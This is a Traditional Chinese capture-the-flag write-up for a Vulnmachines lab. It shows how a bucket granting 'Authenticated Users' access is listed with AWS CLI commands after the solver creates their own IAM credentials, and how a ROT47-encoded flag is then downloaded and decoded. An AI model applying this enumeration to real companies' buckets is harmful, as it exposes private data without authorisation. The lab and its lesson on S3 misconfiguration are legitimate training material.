4 min read

Vulnmachines - Misconfigured Bucket writeup (zh-TW)

Vulnmachines - Misconfigured Bucket writeup (zh-TW)

題目資訊

解題過程

Step 1: 初步偵察

訪問題目網址,發現網站託管在 AWS S3 bucket 上:

https://vnm-sec-aws.s3.amazonaws.com/admin/var/html/index.html

關鍵觀察:

  • URL 格式顯示這是 S3 bucket:vnm-sec-aws
  • 網站能正常顯示,但只是靜態頁面
  • 檢視原始碼未發現明顯 flag

Step 2: 測試 S3 權限結構

嘗試列出不同層級的目錄:

# 測試根目錄
curl -I https://vnm-sec-aws.s3.amazonaws.com/
# 結果:403 Forbidden

# 測試 admin 目錄
curl https://vnm-sec-aws.s3.amazonaws.com/admin/
# 結果:403 AccessDenied

# 但具體檔案可以訪問
curl https://vnm-sec-aws.s3.amazonaws.com/admin/var/html/index.html
# 結果:200 OK,返回 HTML 內容

發現模式:

  • 無法列出任何目錄 (403 錯誤)
  • 但可以訪問具體檔案(如果知道完整路徑)

Step 3: 嘗試無憑證訪問

使用 AWS CLI 無憑證模式:

aws s3 ls s3://vnm-sec-aws/ --no-sign-request
# 結果:Access Denied

關鍵發現:這個 bucket 配置為 "Authenticated Users" 權限,需要有效的 AWS 憑證才能列出內容。

Step 4: 申請 AWS 免費帳號

Step 5: 創建 IAM 用戶

登入 AWS Console 後:

  1. 搜尋並進入 "IAM" 服務
  2. 點擊 "Users" → "Create user"
  3. 用戶名稱:自訂
  4. 關鍵步驟:為使用者創建金鑰,選擇存取金鑰用途為 "CLI"
  5. 下載憑證:
    • Access Key ID: [已隱藏]
    • Secret Access Key: [已隱藏]

Step 6: 配置權限

  1. 返回 IAM Console
  2. 選擇用戶 自訂
  3. 點擊 "Permissions" 標籤
  4. "Add permissions" → "Attach policies directly"
  5. 搜尋並附加:AmazonS3ReadOnlyAccess

Step 7: 成功列出 Bucket 內容

aws s3 ls s3://vnm-sec-aws/ --recursive

關鍵發現 - 找到兩個 flag 檔案:

2022-12-13 23:00:41  39 a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/flag.txt
2022-11-18 21:09:28  81 a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y/z/flag.txt

Flag 藏在極深的路徑中,防止暴力猜測!

Step 8: 下載 Flag 檔案

下載第一個 flag:

aws s3 cp s3://vnm-sec-aws/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/flag.txt .
cat flag.txt
# 輸出:G?>L|:D4@?7:8FC650pFE96?E:42E650qF4<6EN

下載第二個 flag(給出第一個flag的提示):

aws s3 cp s3://vnm-sec-aws/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y/z/flag.txt flag2.txt
cat flag2.txt
# 輸出:Sorry! Please find flag in another folders. Use rot once you identify any string.

第二個flag給出提示,要用 ROT 解碼第一個!

Step 9: 解碼 ROT47

發現編碼字串包含特殊字符,判斷是 ROT47:

echo "G?>L|:D4@?7:8FC650pFE96?E:42E650qF4<6EN" | tr '!-~' 'P-~!-O'

或是利用網站解也可以:

ROT-47 Cipher - ROT47 - Online Decoder, Encoder, Translator
Tool to decrypt/ encrypt with Rot47. The ROT-47 cipher is a variant of the ROT-13 suitable for ASCII characters, exactly a subset of 94 printable characters. Easily convert, test or analyze your encrypted texts online.

最終 Flag: vnm{已隱藏}

學習重點

AWS S3 權限模型

  • AllUsers: 任何人都能訪問(真正的公開)
  • AuthenticatedUsers: 任何有 AWS 帳號的人都能訪問
  • 特定 IAM 用戶/角色: 真正的訪問控制

總結

這個 CTF 完美展示了 AWS S3 最常見的誤配置:將 "Authenticated Users" 誤解為安全設定,現實世界中,許多資料外洩事件都源於類似的配置錯誤。